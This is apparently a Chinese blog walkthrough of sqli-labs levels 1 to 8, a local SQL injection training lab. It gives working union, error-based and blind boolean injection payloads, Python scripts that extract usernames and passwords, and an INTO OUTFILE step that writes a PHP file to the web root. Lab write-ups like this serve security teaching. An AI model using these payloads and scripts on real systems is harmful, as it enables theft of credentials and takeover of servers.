首页 > 数据库 >sqli-labs(less-1 ~ less-8)

sqli-labs(less-1 ~ less-8)

时间:2024-08-01 21:26:04浏览次数:16  
标签:127.0 Less 0.1 less 8077 labs sqli sql id

1、less-1

1、首先输入参数我们可以看到:

2、开始进行测试:

输入一个单引号试试:

http://127.0.0.1:8077/sql/Less-1/?id=1%27

 得到报错信息:

我们可以得知是字符型的sql注入

3、验证一下:

先输入:

http://127.0.0.1:8077/sql/Less-1/?id=1%27%20and%201=1--+

再输入:

http://127.0.0.1:8077/sql/Less-1/?id=1%27%20and%201=2--+

成功验证上面所说的

4、开始进行注入:

(1)、我们先判断原本sql与具查询的字段数:

http://127.0.0.1:8077/sql/Less-1/?id=1%27%20order%20by%203--+

测试得到是3个字段

(2)、用union联合注入,先判断输出点:

http://127.0.0.1:8077/sql/Less-1/?id=-1' union select 1,2,3--+ 

得到:

 可以看到再2和3的位置可以显示,所以我们随意选择一个地方即可

(3)、得到数据库名:

http://127.0.0.1:8077/sql/Less-1/?id=-1' union select 1,database(),3--+ 

得到:

 (4)、得到表名:

http://127.0.0.1:8077/sql/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

得到:

(5)、去查看users表的字段名:

 http://127.0.0.1:8077/sql/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

得到:

(6)、查看username和password:

 http://127.0.0.1:8077/sql/Less-1/?id=-1' union select 1,group_concat(username,password),3 from security.users--+

得到最终结果:

2、less-2

1、判断类型:

先输入:

http://127.0.0.1:8077/sql/Less-2/?id=1 and 1=1

返回正常

再输入:

http://127.0.0.1:8077/sql/Less-2/?id=1 and 1=2

返回不正常 ,可知是数字型的sql注入

2、判断列数:

http://127.0.0.1:8077/sql/Less-2/?id=1%20order%20by%203

得到临界值为3,则列数为3

3、查看回显位置:

http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,2,3 

 4、开始进行注入:

(1)得到数据库名:

http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,database(),3

(2)得到表名:

http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' 

(3)、查看users表的字段名:

http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' 

(4)、查看对应username和password:

http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,group_concat(username,password),3 from security.users 

3、less-3

1、判断类型:

输入:

http://127.0.0.1:8077/sql/Less-3/?id=1'

 我们可以看到报错信息为:

'1'') LIMIT 0,1

 其中1'是我们输入的,可以后面是'),所以猜测代码用的是单引号加括号的方式;我们查看源代码看一下:

验证我们的猜想

所以正确的闭合方式为:

http://127.0.0.1:8077/sql/Less-3/?id=1')--+

 2、用同样的方式判断列数和回显位置即可,再进行注入:

(1)、得到数据库:

http://127.0.0.1:8077/sql/Less-3/?id=-1') union select 1,database(),3--+

(2)、得到表名:

 http://127.0.0.1:8077/sql/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

(3)、得到字段名:

http://127.0.0.1:8077/sql/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+ 

(4)、得到username和password

 http://127.0.0.1:8077/sql/Less-3/?id=-1') union select 1,group_concat(username,password),3 from security.users--+

4、less-4

1、判断类型:

加入单引号发现页面没反应,再加入双引号:

http://127.0.0.1:8077/sql/Less-4/?id=1"

得到报错信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1  

同样1"是我们输入的,后面")才是代码本身,所以次数的闭合方式为双引号加括号

2、下面直接给出payload:

(1)获取数据库名:

 http://127.0.0.1:8077/sql/Less-4/?id=-1") union select 1,database(),3--+

(2)获取表名:

 http://127.0.0.1:8077/sql/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

(3)、获取字段名:

 http://127.0.0.1:8077/sql/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

(4)、获取username和password:

 http://127.0.0.1:8077/sql/Less-4/?id=-1") union select 1,group_concat(username,password),3 from security.users--+

 5、less-5

1、布尔注入

1、经过测试发现此次不会显示具体信息,正确查询到就输出"you are in....",为未查询到就不输出

判断类型:

http://127.0.0.1:8077/sql/Less-5/?id=1'

得到:

可知这里还是字符型的;

我们查看代码验证一下:

2、此时我们不能用union联合注入,因为此时是没有回显的:

我们可以借助函数substr():

SUBSTR(stringstartlength)

SUBSTR() 函数从字符串中提取子字符串(从任意位置开始)。

 所以我们的payload样式为:

http://127.0.0.1:8077/sql/Less-5/?id=1' and substr((select database()),1,1)='s'--+

输入之后拼接成的sql语句为:

SELECT * FROM users WHERE id='1' and substr((select database()),1,1)='s'--+

我们可知and前面的sql语句是可以查询到的,即结果为真;

根据and的特性,当前面为真时,得去看看后面是否为真,所以去执行substr函数,执行substr函数时, string=select database(),就会去查询数据库名,载截取第一个字符若等于"s"返回yes,否则返回no;这样后面语句的真假就控制页面是否输出"You are in.........",我们可以以此来进行爆破数据库名

3、下面给出python脚本:

import requests
import time

url = "http://127.0.0.1:8077/sql/Less-5/" #填入url

result = ""
for i in range(1,100):
    l = 33
    r =130
    mid = (l+r)>>1
    while(l<r):
        # str = "?id=1' and "+"ascii(substr((select database()),{0},1))>{1}--+".format(i,mid)
        #str = "?id=1' and "+"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))>{1}--+".format(i,mid)
        '''str = "?id=1' and " + "ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' " \
                              "and table_name='users'),{0},1))>{1}--+".format(i, mid)'''
        str = "?id=1' and "+"ascii(substr((select group_concat(username,password) from security.users),{0},1))>{1}--+".format(i,mid)
        html = requests.get(url+str)
        print(url+str)
        if "You are in" in html.text:#填入页面正确时的回显
            l = mid+1
        else:
            r = mid
        mid = (l+r)>>1
    if(chr(mid)==" "):
        break
    result = result + chr(mid)
    print(result)
print("result: " ,result)

这里用ascii函数将字符转为ASCII码,这样方便用二分法进行比对 

2、报错注入

1、updatexml

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) 
第三个参数:new_value,String格式,替换查找到的符合条件的数据

当我们第二个参数非法时,它就会报错,从而将一些敏感信息给暴露出来

1、例如:

updatexml(1,concat(0x7e,(version())),0)

因为0x7e是非法所以会报错从而将version一起报出来

2、开始测试,由5.1我们可知该环境可以显示出数据库的错误,所以这里我们可以用报错注入:

(1)、得到数据库:

http://127.0.0.1:8077/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,(database())),0)--+ 

(2)、得到表名:

http://127.0.0.1:8077/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)--+ 

 (3)、得到字段名:

http://127.0.0.1:8077/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)--+ 

 (4)、得到username和password

http://127.0.0.1:8077/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users)),0)--+ 

 注:updatexml显示的字符数有限,所以我们可以借助substr看后面的字符:

http://127.0.0.1:8077/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from security.users),35,50)),0)--+

这里就是看第35个字符后50个字符

 2、extractvalue

extractvalue('XML_document','Xpath_string')
即extractvalue('目标xml文件名','在xml中查询的字符串')
当第二个参数为非法时也会通过报错提示,跟updatexml类似

 例如报出数据库的payload:

http://127.0.0.1:8077/sql/Less-5/?id=1' and extractvalue(1,concat(0x7e,(database())))--+

其它的不做赘述

3、floor

 floor原理较复杂,我直接给出payload:

(1)、数据库:

http://127.0.0.1:8077/sql/Less-5/?id=1' and (select 1 from (select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a)--+

(2) 、表名:

http://127.0.0.1:8077/sql/Less-5/?id=1' and (select 1 from (select count(*),concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a)--+

6、less-6

1、测试这一关,发现还是bool注入,只是采用了双引号的闭合方式:

输入:

p://127.0.0.1:8077/sql/Less-6/?id=1"

得到报错为:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1 

2、此处的脚本更上面一样,只是用双引号进行闭合即可

import requests
import time

url = "http://127.0.0.1:8077/sql/Less-6/" #填入url

result = ""
for i in range(1,100):
    l = 33
    r =130
    mid = (l+r)>>1
    while(l<r):
        # str = "?id=1\" and "+"ascii(substr((select database()),{0},1))>{1}--+".format(i,mid)
        #str = "?id=1\" and "+"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))>{1}--+".format(i,mid)
        '''str = "?id=1\" and " + "ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' " \
                              "and table_name='users'),{0},1))>{1}--+".format(i, mid)'''
        str = "?id=1\" and "+"ascii(substr((select group_concat(username,password) from security.users),{0},1))>{1}--+".format(i,mid)#加\是为了转义"
        html = requests.get(url+str)
        print(url+str)
        if "You are in" in html.text:#填入页面正确时的回显
            l = mid+1
        else:
            r = mid
        mid = (l+r)>>1
    if(chr(mid)==" "):
        break
    result = result + chr(mid)
    print(result)
print("result: " ,result)

同样可以采用报错注入的方式

7、less-7

 1、利用outfile向服务器写入文件

1、首先进行测试,我们发现此次的闭合方式是((''))的形式,这个一步步测试即可得到,即最终测试到:

http://127.0.0.1:8077/sql/Less-7/?id=1'))--+

我们在测试过程中发现这里可能也是布尔注入,因为页面只有正确和不正确两个回显;但此处我们可以向服务器写入文件

2、我们可以用第二关来看一些信息(若在实战中需要通过其它方法获取这些信息):

(1)、@@datadir获取数据库存储数据路径:

http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,@@datadir,3 

 

(2)、@@basedir是MYSQL获取安装路径:

http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,@@basedir,3 

 网站是放在www目录下面的所以猜测主机的www目录路径为F:\wamp\www 

(3)、获取用户:

 http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,user(),3

 (4)、利用outfile:

使用outfile三个条件:
1.具有root权限。
2.在数据库配置文件中的 配置项含有:secure_file_priv=''。(注意在数据库中此项默认为secure_file_priv=null)。
3.知道数据库的绝对路径。

限制mysql不允许导入/导出:secure_file_priv=null (默认)

限制mysql的导入/导出 只能发生在/tmp/目录下:secure_file_priv=/tmp/

不对mysql的导入/导出做限制:secure_file_priv=''

 查看一下我自己的secure_file_priv:

满足要求

注:写入的文件名不能已经存在

(5)、开始进行注入:

http://127.0.0.1:8077/sql/Less-7/?id=1')) union select 1,2,3 into outfile "F:/wamp/www/1.txt"--+ 

这样利用union并将结果输出 ;

 接下来按照union注入方式进行即可

(6)、还可以通过outfile写入一句话木马:

例如我写一句php代码进去:

http://127.0.0.1:8077/sql/Less-7/?id=1')) union select 1,"<?php phpinfo();?>",3 into outfile "F:/wamp/www/1.php"--+

访问1.php:

2、利用布尔注入

这里只是改变了闭合方式和回显,下面直接给出脚本:

import requests
import time

url = "http://127.0.0.1:8077/sql/Less-7/" #填入url

result = ""
for i in range(1,100):
    l = 33
    r =130
    mid = (l+r)>>1
    while(l<r):
        # str = "?id=1')) and "+"ascii(substr((select database()),{0},1))>{1}--+".format(i,mid)
        #str = "?id=1')) and "+"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))>{1}--+".format(i,mid)
        '''str = "?id=1')) and " + "ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' " \
                              "and table_name='users'),{0},1))>{1}--+".format(i, mid)'''
        str = "?id=1')) and "+"ascii(substr((select group_concat(username,password) from security.users),{0},1))>{1}--+".format(i,mid)
        html = requests.get(url+str)
        print(url+str)
        if "You are in" in html.text:#填入页面正确时的回显
            l = mid+1
        else:
            r = mid
        mid = (l+r)>>1
    if(chr(mid)==" "):
        break
    result = result + chr(mid)
    print(result)
print("result: " ,result)

8、less-8

1、测试发现通过单引号方式闭合:

http://127.0.0.1:8077/sql/Less-8/?id=1'--+

但此处与less-5不一样,没有报错信息,故只能用布尔注入

2、脚本:

import requests
import time

url = "http://127.0.0.1:8077/sql/Less-8/" #填入url

result = ""
for i in range(1,100):
    l = 33
    r =130
    mid = (l+r)>>1
    while(l<r):
        # str = "?id=1' and "+"ascii(substr((select database()),{0},1))>{1}--+".format(i,mid)
        #str = "?id=1' and "+"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))>{1}--+".format(i,mid)
        '''str = "?id=1' and " + "ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' " \
                              "and table_name='users'),{0},1))>{1}--+".format(i, mid)'''
        str = "?id=1' and "+"ascii(substr((select group_concat(username,password) from security.users),{0},1))>{1}--+".format(i,mid)
        html = requests.get(url+str)
        print(url+str)
        if "You are in" in html.text:#填入页面正确时的回显
            l = mid+1
        else:
            r = mid
        mid = (l+r)>>1
    if(chr(mid)==" "):
        break
    result = result + chr(mid)
    print(result)
print("result: " ,result)

标签:127.0,Less,0.1,less,8077,labs,sqli,sql,id
From: https://blog.csdn.net/m0_64849639/article/details/140814987

相关文章

  • 自娱自乐,sqlite3 数据库查看脚本
    创建数据库#!/bin/bashsqlite3example.db<<EOF--创建表CREATETABLEusers(idINTEGERPRIMARYKEY,nameTEXTNOTNULL,emailTEXTUNIQUENOTNULL,ageINTEGER);CREATETABLEorders(order_idINTEGERPRIMARYKEY,user_idINTE......
  • 零门槛AI 绘图:教你为客户定制 ComfyUI Serverless API 应用
    作者:鸥弋、筱姜2023年下半年,ComfyUI以其快速、流畅的图像生成能力,结合多样的自定义节点,迅速在创作者中流行起来。ComfyUI的亮点就是能够批量化生成图像,一键加载大量工作流,让用户可以轻松实现人像生成、背景替换、风格迁移和图像动画化等功能。越来越多的企业及个人开发者希望借......
  • 视频监控国标GB28181平台EasyGBS如何更换默认的SQLite数据库?
    视频流媒体安防监控国标GB28181平台EasyGBS视频能力丰富,部署灵活,既能作为业务平台使用,也能作为安防监控视频能力层被业务管理平台调用。国标GB28181视频EasyGBS平台可提供流媒体接入、处理、转发等服务,支持内网、公网的安防视频监控设备通过国标GB/T28181协议进行视频监控直播......
  • SSRF-labs-master靶场
    目录file_get_content.phpsql_connect.phpdownload.phpdns-spoofing.phpdns_rebinding.php访问链接http://127.0.0.1/SSRF/#file_get_content.php在编程语言中,有一些函数可以获取本地保存文件的内容。这些功能可能能够从远程URL以及本地文件如果没有对输入内容......
  • Python sqlite3 删除数据
    要从SQLite表中删除记录,你需要使用DELETEFROM语句。要删除特定的记录,你需要同时使用WHERE子句。要更新特定的记录,你需要同时使用WHERE子句。语法以下是SQLite中DELETE查询的语法- DELETEFROMtable_name[WHEREClause]PythonCopy例子假设我们使用以下查询创建了......
  • C#操作sqlite数据库
    //连接字符串conn=@"DataSource=E:\sqlite.db";stringsql_table="SELECTnameFROMsqlite_masterWHEREtype='table'ANDnameLIKE'%prod%'";DataTabledt_tbname=SQLiteHelper.Query(conn,sql_table).Tables[0];//工具......
  • [GXYCTF2019]BabySQli
    [GXYCTF2019]BabySQli非常神奇的一道题,漏洞利用点在于联合查询时如果数据不存在,则会创建一个临时虚拟用户于是当前尝试username=admin,返回wrongpass则该用户名存在所以username:1'unionselect1,'admin','202cb962ac59075b964b07152d234b70'#(202cb962ac59075b964b07152......
  • OpenSearch Serverless 中的访问被拒绝
    我正在尝试创建一个使用AWSOpenSearchServerless的最小工作示例。在本教程的帮助下,这是代码:importboto3fromopensearchpyimportOpenSearch,RequestsHttpConnection,AWSV4SignerAuthhost='onb565zzbfkjr3spn8v5.us-east-1.aoss.amazonaws.com'region=......
  • 文件上传漏洞--之upload-labs靶场详解11-15关
    第11关第一步:查看源码这是一个白名单,里面限制了只可以提供它所规定文件jpg,png,gif。 这段PHP代码主要实现了文件上传的功能,并进行了一些条件判断和处理: 首先,定义了两个变量 $is_upload 并初始化为 false ,$msg 初始化为 null 。 然后,检查是否通过 PO......
  • 菜鸟通关Upload-labs记录(1-21)
    目录基础环境所需知识:文件上传漏洞漏洞利用方式文件漏洞三要素:通关过程通用思路1.第一关2.第二关3.第三关4.第四关5.第五关6.第六关7.第七关8.第八关9.第九关10.第十关11.第十一关12.第十二关13.第十三关14.第十四关15.第十五关16.第十六关17.第十七关18.第十八关19.第......